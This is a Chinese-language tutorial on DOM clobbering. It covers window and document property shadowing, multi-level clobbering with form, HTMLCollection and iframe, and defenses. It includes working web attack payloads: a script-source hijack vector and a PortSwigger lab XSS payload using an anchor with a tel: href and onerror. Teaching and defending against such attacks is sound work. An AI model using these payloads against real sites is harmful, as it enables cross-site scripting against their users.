DOM-Clobbering入门到实战
字数 1155 2025-09-23 19:27:38

DOM Clobbering 技术解析与实战指南

1. 基本概念与原理

1.1 DOM 与 Window 的关系

当在 HTML 中设置带有 id 的元素后,可以直接通过 window 对象访问该元素:

<html>
<head></head>
<body>
<button id=Test>click me!</button>
<script>
console.log(window.Test) // 返回按钮元素
</script>
</body>
</html>

1.2 简化事件处理

传统事件监听方式:

document.getElementById("Test")
.addEventListener('click',()=>{
alert(1)
})

DOM Clobbering 简化方式:

Test.onclick=()=>alert(1)

2. 可用的 HTML 标签

根据 HTML 规范,除了 id 属性外,以下标签也可用于 DOM Clobbering:

  • <embed name="a"></embed>
  • <form name="b"></form>
  • ``
  • <object name="d"></object>

3. 基础攻击场景分析

3.1 典型漏洞代码

<html>
<body>
  <h1>留言板</h1>
  <div>你的留言:Hello DOM clobbering</div> 
  <script>
    if (window.TEST_MODE) {
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

3.2 攻击向量

<div>
  你的留言:
  <div id="TEST_MODE"></div>
  <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
</div>

3.3 重要注意事项

  • 普通元素(如 div)的 toString() 返回 [object HTMLDivElement]
  • 只有 <a> 标签配合 href 属性才能返回字符串值
  • 使用场景:HTML 可控且 JS 中使用 window 对象属性时

4. 多层级 DOM Clobbering

4.1 使用 form 标签实现层级访问

<form id="config">
    <input name="IsTest" />
    <button id="IsTest2">click me!</button>
</form>

<script>
console.log(window.config.IsTest)   // 访问 input 元素
console.log(window.config.IsTest2)  // 访问 button 元素
</script>

4.2 利用 HTMLCollection 特性

<a id="config">aaaa</a>
<a id="config"></a>
<script>
console.log(window.config) // 返回 HTMLCollection (Chrome)
</script>

4.3 三层结构实现

<form id="config"></form>
<form id="config" name="prod">
  <input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) // 输出 "123"
</script>

4.4 使用 iframe 实现更深层级

<html>
<body>
  <iframe name="config" srcdoc='
    <a id="apiUrl"></a>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(config.apiUrl) // 返回 iframe 中的元素
    }, 500)
  </script>
</body>
</html>

5. 针对 Document 对象的攻击

5.1 覆盖 document 属性

<html lang="en">
<head>
  <meta charset="utf-8">
</head>
<body>
  
  <form id=test>
    <input name=lastElementChild>
    <div>I am last child</div>
  </form>
  <embed name=getElementById></embed>
  <script>
    console.log(document.cookie) // 返回  元素而非真实 cookie
    console.log(document.querySelector('#test').lastElementChild) // 返回 input 元素
    console.log(document.getElementById) // 返回 embed 元素
  </script>
</body>
</html>

6. 实战案例:PortSwigger 实验室

6.1 漏洞分析

  • 留言板允许 HTML 格式输入
  • 存在自定义的 escapeHTML 函数转义特殊字符
  • 关键漏洞代码:
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '';

6.2 绕过限制技巧

  • 使用 <a> 标签的 href 属性提供字符串值
  • 利用 tel: 协议绕过过滤
  • 通过注释符解决引号闭合问题

6.3 最终攻击载荷

<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='tel:"onerror=alert(1)//'>

7. 防御措施

  1. 避免全局命名空间污染:不直接使用 window 对象属性进行关键操作
  2. 严格验证用户输入:对用户提供的 HTML 内容进行严格过滤
  3. 使用前缀或命名空间:为关键变量添加特定前缀避免冲突
  4. 类型检查:在使用前验证变量类型是否符合预期
  5. 内容安全策略:实施 CSP 限制脚本执行

8. 工具资源

  • DOM Clobber3r:专门用于生成多层级 DOM Clobbering 载荷的工具
  • 浏览器开发者工具:用于调试和测试 DOM 结构

9. 浏览器兼容性说明

  • Firefox 与 Chrome 在 HTMLCollection 处理上存在差异
  • iframe 加载需要时间,需使用 setTimeout 确保元素可用
  • 部分标签在不同浏览器中的行为可能略有不同

通过深入理解 DOM Clobbering 原理和技术细节,安全研究人员可以更好地识别和防御这类漏洞,同时开发人员可以编写更安全的代码避免此类问题。

DOM Clobbering 技术解析与实战指南 1. 基本概念与原理 1.1 DOM 与 Window 的关系 当在 HTML 中设置带有 id 的元素后,可以直接通过 window 对象访问该元素: 1.2 简化事件处理 传统事件监听方式: DOM Clobbering 简化方式: 2. 可用的 HTML 标签 根据 HTML 规范,除了 id 属性外,以下标签也可用于 DOM Clobbering: <embed name="a"></embed> <form name="b"></form> `` <object name="d"></object> 3. 基础攻击场景分析 3.1 典型漏洞代码 3.2 攻击向量 3.3 重要注意事项 普通元素(如 div)的 toString() 返回 [object HTMLDivElement] 只有 <a> 标签配合 href 属性才能返回字符串值 使用场景:HTML 可控且 JS 中使用 window 对象属性时 4. 多层级 DOM Clobbering 4.1 使用 form 标签实现层级访问 4.2 利用 HTMLCollection 特性 4.3 三层结构实现 4.4 使用 iframe 实现更深层级 5. 针对 Document 对象的攻击 5.1 覆盖 document 属性 6. 实战案例:PortSwigger 实验室 6.1 漏洞分析 留言板允许 HTML 格式输入 存在自定义的 escapeHTML 函数转义特殊字符 关键漏洞代码: 6.2 绕过限制技巧 使用 <a> 标签的 href 属性提供字符串值 利用 tel: 协议绕过过滤 通过注释符解决引号闭合问题 6.3 最终攻击载荷 7. 防御措施 避免全局命名空间污染 :不直接使用 window 对象属性进行关键操作 严格验证用户输入 :对用户提供的 HTML 内容进行严格过滤 使用前缀或命名空间 :为关键变量添加特定前缀避免冲突 类型检查 :在使用前验证变量类型是否符合预期 内容安全策略 :实施 CSP 限制脚本执行 8. 工具资源 DOM Clobber3r :专门用于生成多层级 DOM Clobbering 载荷的工具 浏览器开发者工具:用于调试和测试 DOM 结构 9. 浏览器兼容性说明 Firefox 与 Chrome 在 HTMLCollection 处理上存在差异 iframe 加载需要时间,需使用 setTimeout 确保元素可用 部分标签在不同浏览器中的行为可能略有不同 通过深入理解 DOM Clobbering 原理和技术细节,安全研究人员可以更好地识别和防御这类漏洞,同时开发人员可以编写更安全的代码避免此类问题。